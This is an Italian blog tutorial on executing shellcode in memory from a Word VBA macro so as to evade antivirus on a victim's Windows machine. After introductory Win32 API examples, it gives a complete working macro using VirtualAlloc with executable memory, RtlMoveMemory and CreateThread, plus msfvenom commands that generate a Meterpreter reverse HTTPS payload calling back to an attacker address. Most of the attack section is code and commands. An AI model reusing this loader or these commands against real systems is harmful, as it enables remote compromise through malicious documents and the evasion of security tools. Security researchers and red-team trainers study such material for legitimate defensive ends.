Eseguire uno Shellcode in memoria con VBA

Tempo di lettura: 10 minuti
Data pubblicazione: December 13, 2021

Introduzione

Nello scorso articolo abbiamo parlato di macro di Word e di come exploitare tramite le macro un computer windows. Il problema di questo approccio è che lo shellcode viene salvato sul computer della vittima e potrebbe essere rilevato dagli antivirus presenti o da eventuali IDS.

L’obiettivo di questo articolo è quello di riuscire ad eseguire il codice solamente nella memoria del computer, in modo da evitare di scrivere sul disco e diminuire le possibilità di essere identificati da un antivirus.

Windows API

Le Windows API, o Win32 API, sono l’insieme delle API che permettono di avere un accesso diretto alle funzioni di sistema e all’hardware.

Le API consistono di un insieme di funzioni in linguaggio C implementate in dynamic-link libraries e utilizzano un modello orientato ad oggetti. Si dividono in tre macrogruppi:

  • Kernel API: forniscono alle applicazioni un’interfaccia ad alto livello dei servizi del kernel;
  • GDI API: vengono utilizzate per la libreria grafica di Windows;
  • User API: forniscono i servizi di interfaccia grafica.

Se per esempio volessimo creare un Hello Word tramite esse, il codice in C sarà il seguente

#include <windows.h>

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hInstPrev, PSTR cmdline, int cmdshow)
{
    return MessageBox(NULL, "hello, world", "caption", 0);
}

Come si può vedere è stata chiamata l’API MessageBox che ha la seguente definizione:

int MessageBox(
    [in, optional] HWND    hWnd,
    [in, optional] LPCTSTR lpText,
    [in, optional] LPCTSTR lpCaption,
    [in]           UINT    uType
);

dove:

  • hWnd: è un handle alla finestra del messaggio (noi passiamo NULL)
  • lpText: è il messaggio da stampare, nel nostro caso “hello, world”
  • lpCation: è il titolo della finestra, nel nostro caso “caption”
  • uType: è la tipologia della finestra, nel nostro caso 0 che significa ci sarà solo un bottone OK.

Windows API in VBA

In VBA è essenzialmente la stessa cosa, solo che bisogna convertire da C a VBA il codice e ci verrà in soccorso il sito di PINVOKE.NET.

Se volessimo creare il MessageBox tramite VBA, per prima cosa vediamo la definizione dal sito di microsoft e successivamente copiamo da PINVOKE la definizione in VBA

Private Declare Function MessageBox Lib "user32.dll" Alias "MessageBoxA" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal uType As Long) As Long

Successivamente dichiariamo la funzione Macro inserendo le variabili che ci servono

Sub Macro()
Dim Titolo As String
Dim Caption As String
Dim uType_str As String
Dim uType_long As Long

Titolo = "hello world"
Caption = "caption"
uType_str = 0
uType_long = CLng(uType_str)

MessageBox 0&, Titolo, Caption, uType_long
End Sub

GetComputerName in VBA tramite Win32 API

Se invece volessimo stampare il nome del computer tramite MessageBox con VBA il procedimento è lo stesso.

GetComputerName viene definito come:

BOOL GetComputerNameA(
    [out]     LPSTR   lpBuffer,
    [in, out] LPDWORD nSize
);

Su Pinvoke lo troviamo definito in questo modo:

 Declare Function GetComputerName Lib "kernel32" (ByVal lpBuffer As String, ByRef nMax As Integer) As Boolean

Di conseguenza, per stampare il nome del computer tramite VBA:

Sub Macro()
Dim sBuff As String * 255
Dim lBuffLen As Long
Dim lResult As Long

lBuffLen = 255
lResult = GetComputerName(sBuff, lBuffLen)
ComputerName = Left(sBuff, lBuffLen)
MsgBox (ComputerName)
End Sub

In questo caso abbiamo usato la funzione MSgBox, ma se volessimo usare la macro scritta precedentemente per MessageBox ed unirla a questa, il codice sarebbe il seguente

Declare PtrSafe Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Declare PtrSafe Function MessageBox Lib "user32.dll" Alias "MessageBoxA" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal uType As Long) As Long


Sub Macro()
Dim sBuff As String * 255
Dim lBuffLen As Long
Dim lResult As Long
Dim Titolo As String
Dim Caption As String
Dim uType_str As String
Dim uType_long As Long

Caption = "caption"
uType_str = 0
uType_long = CLng(uType_str)


lBuffLen = 255
lResult = GetComputerName(sBuff, lBuffLen)
ComputerName = Left(sBuff, lBuffLen)

MessageBox 0&, ComputerName, Caption, uType_long
End Sub

Shellcode in VBA

Per avere una reverse shell il metodo da seguire è sempre lo stesso, anche se un po' più complesso. Ma andiamo per gradi.

I passaggi che bisogna eseguire sono:

  1. Allocare memoria per lo shellcode
  2. Copiare lo shellcode all’interno della memoria
  3. Creare il thread di esecuzione dello shellcode

Le API che utilizzeremo sono:

  1. VirtualAlloc
  2. RtlMemory
  3. CreateThread

La definizione di VirtualAlloc è la seguente

LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in]           SIZE_T dwSize,
[in]           DWORD  flAllocationType,
[in]           DWORD  flProtect
);

Dove:

  • lpAddress è il puntatore che specifica l’indirizzo di memoria che si vuole allocare. Noi metteremo 0 in quanto lasceremo che sia Windows ad occuparsene;
  • dwSize è la grandezza della regione di memoria da allocare. Nel nostro caso la grandezza dello shellcode;
  • flAllocationType è il tipo di allocazione di memoria, nel nostro caso utilizzeremo MEM_COMMIT (0x00001000) e MEM_RESERVE (0x00002000) che uniti danno 0x00003000. In VBA sarà &H3000:
  • flProtect è la protezione della memoria della regione da allocare. Vedendo le possibili flag useremo RWX, ossia &H40.

Per ora la nostra funzione sarà quindi la seguente:

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32.dll"  (ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Dim buf As Variant
Dim addr As LongPtr
buf = Array(shellcode)

addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

Come secondo passaggio dobbiamo copiare lo shellcode all’interno della memoria. Per farlo useremo RtlMemory:

VOID RtlMoveMemory(
_Out_       VOID UNALIGNED *Destination,
_In_  const VOID UNALIGNED *Source,
_In_        SIZE_T         Length
);

Dove:

  • Destination è il blocco di memoria in cui copiare
  • Source il blocco di memoria da cui copiare
  • Length il numero di bytes da copiare

Per farlo sarà sufficiente eseguire un ciclo for che copierà byte per byte

Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Dim counter As Long
Dim data As Long

For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
Next counter

E come ultimo passo è necessario eseguire il processo con CreateThread:

HANDLE CreateThread(
[in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
[in]            SIZE_T                  dwStackSize,
[in]            LPTHREAD_START_ROUTINE  lpStartAddress,
[in, optional]  __drv_aliasesMem LPVOID lpParameter,
[in]            DWORD                   dwCreationFlags,
[out, optional] LPDWORD                 lpThreadId
);

Dove:

  • lpThreadAttributes è un puntatore agli attributi di sicurezza che lasciamo a NULL
  • dwStackSize la grandezza dello stack in bytes. Anche questo possiamo lasciarlo a 0
  • lpStartAddress è un puntatore all’indirizzo di partenza alla funzione da eseguire. Nel nostro caso l’indirizzo del nostro shellcode
  • lpParameter è un puntatore alla variabile da passare al thread creato. Poichè non abbiamo argomenti lasciamo a NULL
  • dwCreationFlags, una flag che controlla la creazione del thread
  • lpThreadId, un puntatore ad una variabile che potrebbe ricedere l’ID del thread.

Di conseguenza il codice successivo sarà

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

res = CreateThread(0, 0, addr, 0, 0, 0)

Creo ora lo shellcode con msfvenom con il seguente comando

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=4443 EXITFUNC=thread -f vbapplication

e unendo tutti i pezzi del codice avremo

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32.dll"  (ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Sub Macro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long

buf = Array(72,131....213)

addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
Next counter

res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub

Per avere lo stesso codice creato a mano in questo articolo è sufficiente digitare il seguente comando:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f vba

e msfvenom si occuperà di creare tutta la macro per noi.

Conclusioni

Come vedremo nei prossimi articoli, questa è solo la punta dell’iceberg per quanto riguarda l’esecuzione di codice in memoria su Windows. Lo shellcode ora risiede in memoria ed è più difficile da identificare, ma viene comunque segnalato come malevolo dalla maggior parte degli Antivirus.

Nei prossimi articoli vedremo come utilizzare tecniche di obfuscation al fine di cercare di bypassare alcuni antivirus.

Alcune risorse che ho utilizzato sono: